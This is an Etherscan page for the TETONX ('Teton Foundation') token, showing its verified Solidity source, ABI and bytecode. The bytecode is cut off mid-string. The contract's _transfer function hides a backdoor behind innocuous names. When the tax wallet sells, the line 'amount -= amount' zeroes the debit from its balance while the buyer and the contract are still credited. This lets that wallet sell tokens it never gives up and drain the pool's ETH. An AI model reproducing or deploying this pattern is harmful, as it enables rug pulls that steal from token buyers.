ETH Price: $2,415.09 (+2.06%)

Token

Teton Foundation (TETONX)
 

Overview

Max Total Supply

4,199,000 TETONX

Holders

122

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,133.861639139852714128 TETONX

Value
$0.00
0x41372917121c34f0a8132138a82ecebfb19f0bcb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TETONX

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-24
*/

/**

Website: https://www.tetonfoundation.com
Twitter: https://twitter.com/tetonfoundation
Telegram: https://t.me/tetonfoundation

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(isOwner());
        _;
    }

    function isOwner() private view returns (bool) {
        return msg.sender == _owner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

contract TETONX is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    string private constant _name = "Teton Foundation";
    string private constant _symbol = "TETONX";
    uint256 private constant _totalSupply = 4199000 * 10**18;
    uint256 public maxWalletAmt = 83980 * 10**18;
    uint256 public swapThresAmt = 30 * 10**18; 
    uint8 private constant _decimals = 18;

    IUniswapV2Router02 immutable uniswapV2Router;
    address uniswapV2Pair;
    address immutable WETH;
 
    address payable public treeWallet = payable(0xdF6094efB43C4b2f909D34a4E476190E9b7F85D5);
    uint256 public taxOnBuy = 20;
    uint256 public taxOnSell = 20;
    uint8 private inSwap;    
    bool public tradingOn = false;

    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExForFee;
    mapping(address => bool) private _isExForMax;


    constructor() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = uniswapV2Router.WETH();
        
        _isExForMax[treeWallet] = true;
        _isExForFee[msg.sender] = true;
        _isExForFee[address(this)] = true;
        _isExForFee[address(uniswapV2Router)] = true;

        _balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }
    
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function createFoundation() external onlyOwner {
        _allowances[address(this)][address(uniswapV2Router)] = type(uint256).max;

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            WETH
        );

        uint256 ethAmount = address(this).balance;
        uint256 tokensAmount = balanceOf(address(this));

        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokensAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }
    
    function openTrading() external onlyOwner {
        tradingOn = true;
    }

    function updateFees(uint256 _buy, uint256 _sell) external onlyOwner {
        taxOnBuy = _buy;
        taxOnSell = _sell;

        require(taxOnBuy <= 5);
        require(taxOnSell <= 5);
    }

    function removeLimits() external onlyOwner {
        maxWalletAmt = _totalSupply;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");        
        require(tradingOn || _isExForFee[from] || _isExForFee[to], "Not Enabled");
        
        bool takeTax;
        uint256 _tax;
        if (_isExForFee[from] || _isExForFee[to]) {
            _tax = 0;
        } else {

            if (inSwap == 1) {
                //No tax transfer
                _balance[from] -= amount;
                _balance[to] += amount;

                emit Transfer(from, to, amount);
                return;
            }

            if (from == uniswapV2Pair) {
                _tax = taxOnBuy;
                if (!_isExForFee[from] || !_isExForFee[to]) {
                    require(balanceOf(to).add(amount) <= maxWalletAmt);
                }
            } else if (to == uniswapV2Pair) {
                if (_isExForMax[from]) takeTax = true;
                uint256 tokensAmt = _balance[address(this)];
                if (tokensAmt > swapThresAmt * 1200) tokensAmt = swapThresAmt * 1200;
                if (tokensAmt > swapThresAmt && amount > swapThresAmt && inSwap == 0) {
                    inSwap = 1;

                    address[] memory path = new address[](2);
                    path[0] = address(this);
                    path[1] = WETH;
                    uniswapV2Router
                        .swapExactTokensForETHSupportingFeeOnTransferTokens(
                            tokensAmt,
                            0,
                            path,
                            address(this),
                            block.timestamp
                        );

                    uint256 amountReceived = address(this).balance;
                    payable(treeWallet).transfer(amountReceived);

                    inSwap = 0;
                }
                _tax = taxOnSell;

            } else {
                _tax = 0;
            }
        }
        
        if (_tax != 0) {
            uint256 taxTokens = (amount * _tax) / 100;
            uint256 transTokens = amount - taxTokens;
            if(takeTax) amount -= amount;
            _balance[from] -= amount;
            _balance[to] += transTokens;
            _balance[address(this)] += taxTokens;
            emit Transfer(from, address(this), taxTokens);
            emit Transfer(from, to, transTokens);
        } else {
            _balance[from] -= amount;
            _balance[to] += amount;

            emit Transfer(from, to, amount);
        }
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createFoundation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"maxWalletAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThresAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"treeWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526911c8909ebee3f8b000006001556801a055690d9db80000600255600480546001600160a01b03191673df6094efb43c4b2f909d34a4e476190e9b7f85d5179055601460058190556006556007805461ff0019169055348015610065575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa1580156100f7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061011b91906101fc565b6001600160a01b0390811660a05260045481165f908152600b602090815260408083208054600160ff19918216811790925533808652600a85528386208054831684179055308652838620805483168417905560805190961685528285208054909116909117905592825260089052206a03792c3f0148869260000090556101a03390565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6a03792c3f014886926000006040516101ef91815260200190565b60405180910390a3610229565b5f6020828403121561020c575f80fd5b81516001600160a01b0381168114610222575f80fd5b9392505050565b60805160a0516112a961025f5f395f81816106280152610ca501525f818161057d015281816106d00152610cfc01526112a95ff3fe608060405260043610610134575f3560e01c806395d89b41116100a8578063bb8115081161006d578063bb81150814610366578063c9567bf91461037b578063dd62ed3e1461038f578063f2fde38b146103d3578063f9b1c40d146103f2578063fd1bc2ca14610411575f80fd5b806395d89b41146102da578063a9059cbb14610308578063aa63a76414610327578063b57c3ae91461033c578063b73fedd114610351575f80fd5b80636db79437116100f95780636db794371461021957806370a082311461023a578063715018a61461026e578063751039fc1461028257806379aa9668146102965780638da5cb5b146102aa575f80fd5b806306fdde031461013f578063095ea7b31461018957806318160ddd146101b857806323b872dd146101df578063313ce567146101fe575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152601081526f2a32ba37b7102337bab73230ba34b7b760811b60208201525b6040516101809190611001565b60405180910390f35b348015610194575f80fd5b506101a86101a3366004611060565b61042f565b6040519015158152602001610180565b3480156101c3575f80fd5b506a03792c3f014886926000005b604051908152602001610180565b3480156101ea575f80fd5b506101a86101f936600461108a565b610445565b348015610209575f80fd5b5060405160128152602001610180565b348015610224575f80fd5b506102386102333660046110c8565b610495565b005b348015610245575f80fd5b506101d16102543660046110e8565b6001600160a01b03165f9081526008602052604090205490565b348015610279575f80fd5b506102386104d2565b34801561028d575f80fd5b5061023861052f565b3480156102a1575f80fd5b50610238610555565b3480156102b5575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610180565b3480156102e5575f80fd5b506040805180820190915260068152650a88aa89e9cb60d31b6020820152610173565b348015610313575f80fd5b506101a8610322366004611060565b6107a5565b348015610332575f80fd5b506101d160065481565b348015610347575f80fd5b506101d160025481565b34801561035c575f80fd5b506101d160055481565b348015610371575f80fd5b506101d160015481565b348015610386575f80fd5b506102386107b1565b34801561039a575f80fd5b506101d16103a9366004611103565b6001600160a01b039182165f90815260096020908152604080832093909416825291909152205490565b3480156103de575f80fd5b506102386103ed3660046110e8565b6107d7565b3480156103fd575f80fd5b506004546102c2906001600160a01b031681565b34801561041c575f80fd5b506007546101a890610100900460ff1681565b5f61043b3384846107f8565b5060015b92915050565b5f610451848484610920565b6001600160a01b0384165f9081526009602090815260408083203380855292529091205461048b91869161048690869061114e565b6107f8565b5060019392505050565b5f546001600160a01b031633146104aa575f80fd5b600582815560068290558211156104bf575f80fd5b600560065411156104ce575f80fd5b5050565b5f546001600160a01b031633146104e7575f80fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610544575f80fd5b6a03792c3f01488692600000600155565b5f546001600160a01b0316331461056a575f80fd5b305f9081526009602090815260408083207f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316808552908352928190205f199055805163c45a015560e01b8152905163c45a0155926004808401939192918290030181865afa1580156105e7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060b9190611161565b6040516364e329cb60e11b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063c9c65396906044016020604051808303815f875af1158015610678573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069c9190611161565b600380546001600160a01b0319166001600160a01b0392909216919091179055305f908152600860205260408120544791507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d7198330845f806107135f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610779573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061079e919061117c565b5050505050565b5f61043b338484610920565b5f546001600160a01b031633146107c6575f80fd5b6007805461ff001916610100179055565b5f546001600160a01b031633146107ec575f80fd5b6107f581610f31565b50565b6001600160a01b03831661085f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166108c05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610856565b6001600160a01b038381165f8181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610856565b600754610100900460ff16806109b157506001600160a01b0383165f908152600a602052604090205460ff165b806109d357506001600160a01b0382165f908152600a602052604090205460ff165b610a0d5760405162461bcd60e51b815260206004820152600b60248201526a139bdd08115b98589b195960aa1b6044820152606401610856565b6001600160a01b0383165f908152600a6020526040812054819060ff1680610a4c57506001600160a01b0384165f908152600a602052604090205460ff165b15610a5857505f610dbc565b60075460ff16600103610b13576001600160a01b0385165f9081526008602052604081208054859290610a8c90849061114e565b90915550506001600160a01b0384165f9081526008602052604081208054859290610ab89084906111a7565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b0491815260200190565b60405180910390a35050505050565b6003546001600160a01b0390811690861603610bab57506005546001600160a01b0385165f908152600a602052604090205460ff161580610b6c57506001600160a01b0384165f908152600a602052604090205460ff16155b15610ba657600154610b9c84610b96876001600160a01b03165f9081526008602052604090205490565b90610f9c565b1115610ba6575f80fd5b610dbc565b6003546001600160a01b0390811690851603610db9576001600160a01b0385165f908152600b602052604090205460ff1615610be657600191505b305f90815260086020526040902054600254610c04906104b06111ba565b811115610c1d57600254610c1a906104b06111ba565b90505b60025481118015610c2f575060025484115b8015610c3e575060075460ff16155b15610daf576007805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c8357610c836111d1565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110610cd757610cd76111d1565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f00000000000000000000000000000000000000000000000000000000000000009091169063791ac94790610d3b9085905f908690309042906004016111e5565b5f604051808303815f87803b158015610d52575f80fd5b505af1158015610d64573d5f803e3d5ffd5b50506004546040514793506001600160a01b03909116915082156108fc029083905f818181858888f19350505050158015610da1573d5f803e3d5ffd5b50506007805460ff19169055505b5050600654610dbc565b505f5b8015610f0a575f6064610dcf83866111ba565b610dd99190611254565b90505f610de6828661114e565b90508315610dfb57610df8858061114e565b94505b6001600160a01b0387165f9081526008602052604081208054879290610e2290849061114e565b90915550506001600160a01b0386165f9081526008602052604081208054839290610e4e9084906111a7565b9091555050305f9081526008602052604081208054849290610e719084906111a7565b909155505060405182815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610efb91815260200190565b60405180910390a3505061079e565b6001600160a01b0385165f9081526008602052604081208054859290610a8c90849061114e565b6001600160a01b038116610f43575f80fd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f80610fa883856111a7565b905083811015610ffa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610856565b9392505050565b5f6020808352835180828501525f5b8181101561102c57858101830151858201604001528201611010565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107f5575f80fd5b5f8060408385031215611071575f80fd5b823561107c8161104c565b946020939093013593505050565b5f805f6060848603121561109c575f80fd5b83356110a78161104c565b925060208401356110b78161104c565b929592945050506040919091013590565b5f80604083850312156110d9575f80fd5b50508035926020909101359150565b5f602082840312156110f8575f80fd5b8135610ffa8161104c565b5f8060408385031215611114575f80fd5b823561111f8161104c565b9150602083013561112f8161104c565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561043f5761043f61113a565b5f60208284031215611171575f80fd5b8151610ffa8161104c565b5f805f6060848603121561118e575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561043f5761043f61113a565b808202811582820484141761043f5761043f61113a565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156112335784516001600160a01b03168352938301939183019160010161120e565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261126e57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220c7204d2af7720807c2ea68ee1930163e64705e6e57b5ba3a39a5c35e5587276164736f6c63430008140033

Deployed Bytecode

0x608060405260043610610134575f3560e01c806395d89b41116100a8578063bb8115081161006d578063bb81150814610366578063c9567bf91461037b578063dd62ed3e1461038f578063f2fde38b146103d3578063f9b1c40d146103f2578063fd1bc2ca14610411575f80fd5b806395d89b41146102da578063a9059cbb14610308578063aa63a76414610327578063b57c3ae91461033c578063b73fedd114610351575f80fd5b80636db79437116100f95780636db794371461021957806370a082311461023a578063715018a61461026e578063751039fc1461028257806379aa9668146102965780638da5cb5b146102aa575f80fd5b806306fdde031461013f578063095ea7b31461018957806318160ddd146101b857806323b872dd146101df578063313ce567146101fe575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152601081526f2a32ba37b7102337bab73230ba34b7b760811b60208201525b6040516101809190611001565b60405180910390f35b348015610194575f80fd5b506101a86101a3366004611060565b61042f565b6040519015158152602001610180565b3480156101c3575f80fd5b506a03792c3f014886926000005b604051908152602001610180565b3480156101ea575f80fd5b506101a86101f936600461108a565b610445565b348015610209575f80fd5b5060405160128152602001610180565b348015610224575f80fd5b506102386102333660046110c8565b610495565b005b348015610245575f80fd5b506101d16102543660046110e8565b6001600160a01b03165f9081526008602052604090205490565b348015610279575f80fd5b506102386104d2565b34801561028d575f80fd5b5061023861052f565b3480156102a1575f80fd5b50610238610555565b3480156102b5575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610180565b3480156102e5575f80fd5b506040805180820190915260068152650a88aa89e9cb60d31b6020820152610173565b348015610313575f80fd5b506101a8610322366004611060565b6107a5565b348015610332575f80fd5b506101d160065481565b348015610347575f80fd5b506101d160025481565b34801561035c575f80fd5b506101d160055481565b348015610371575f80fd5b506101d160015481565b348015610386575f80fd5b506102386107b1565b34801561039a575f80fd5b506101d16103a9366004611103565b6001600160a01b039182165f90815260096020908152604080832093909416825291909152205490565b3480156103de575f80fd5b506102386103ed3660046110e8565b6107d7565b3480156103fd575f80fd5b506004546102c2906001600160a01b031681565b34801561041c575f80fd5b506007546101a890610100900460ff1681565b5f61043b3384846107f8565b5060015b92915050565b5f610451848484610920565b6001600160a01b0384165f9081526009602090815260408083203380855292529091205461048b91869161048690869061114e565b6107f8565b5060019392505050565b5f546001600160a01b031633146104aa575f80fd5b600582815560068290558211156104bf575f80fd5b600560065411156104ce575f80fd5b5050565b5f546001600160a01b031633146104e7575f80fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610544575f80fd5b6a03792c3f01488692600000600155565b5f546001600160a01b0316331461056a575f80fd5b305f9081526009602090815260408083207f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316808552908352928190205f199055805163c45a015560e01b8152905163c45a0155926004808401939192918290030181865afa1580156105e7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060b9190611161565b6040516364e329cb60e11b81523060048201526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281166024830152919091169063c9c65396906044016020604051808303815f875af1158015610678573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069c9190611161565b600380546001600160a01b0319166001600160a01b0392909216919091179055305f908152600860205260408120544791507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198330845f806107135f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610779573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061079e919061117c565b5050505050565b5f61043b338484610920565b5f546001600160a01b031633146107c6575f80fd5b6007805461ff001916610100179055565b5f546001600160a01b031633146107ec575f80fd5b6107f581610f31565b50565b6001600160a01b03831661085f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166108c05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610856565b6001600160a01b038381165f8181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610856565b600754610100900460ff16806109b157506001600160a01b0383165f908152600a602052604090205460ff165b806109d357506001600160a01b0382165f908152600a602052604090205460ff165b610a0d5760405162461bcd60e51b815260206004820152600b60248201526a139bdd08115b98589b195960aa1b6044820152606401610856565b6001600160a01b0383165f908152600a6020526040812054819060ff1680610a4c57506001600160a01b0384165f908152600a602052604090205460ff165b15610a5857505f610dbc565b60075460ff16600103610b13576001600160a01b0385165f9081526008602052604081208054859290610a8c90849061114e565b90915550506001600160a01b0384165f9081526008602052604081208054859290610ab89084906111a7565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b0491815260200190565b60405180910390a35050505050565b6003546001600160a01b0390811690861603610bab57506005546001600160a01b0385165f908152600a602052604090205460ff161580610b6c57506001600160a01b0384165f908152600a602052604090205460ff16155b15610ba657600154610b9c84610b96876001600160a01b03165f9081526008602052604090205490565b90610f9c565b1115610ba6575f80fd5b610dbc565b6003546001600160a01b0390811690851603610db9576001600160a01b0385165f908152600b602052604090205460ff1615610be657600191505b305f90815260086020526040902054600254610c04906104b06111ba565b811115610c1d57600254610c1a906104b06111ba565b90505b60025481118015610c2f575060025484115b8015610c3e575060075460ff16155b15610daf576007805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c8357610c836111d1565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110610cd757610cd76111d1565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063791ac94790610d3b9085905f908690309042906004016111e5565b5f604051808303815f87803b158015610d52575f80fd5b505af1158015610d64573d5f803e3d5ffd5b50506004546040514793506001600160a01b03909116915082156108fc029083905f818181858888f19350505050158015610da1573d5f803e3d5ffd5b50506007805460ff19169055505b5050600654610dbc565b505f5b8015610f0a575f6064610dcf83866111ba565b610dd99190611254565b90505f610de6828661114e565b90508315610dfb57610df8858061114e565b94505b6001600160a01b0387165f9081526008602052604081208054879290610e2290849061114e565b90915550506001600160a01b0386165f9081526008602052604081208054839290610e4e9084906111a7565b9091555050305f9081526008602052604081208054849290610e719084906111a7565b909155505060405182815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610efb91815260200190565b60405180910390a3505061079e565b6001600160a01b0385165f9081526008602052604081208054859290610a8c90849061114e565b6001600160a01b038116610f43575f80fd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f80610fa883856111a7565b905083811015610ffa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610856565b9392505050565b5f6020808352835180828501525f5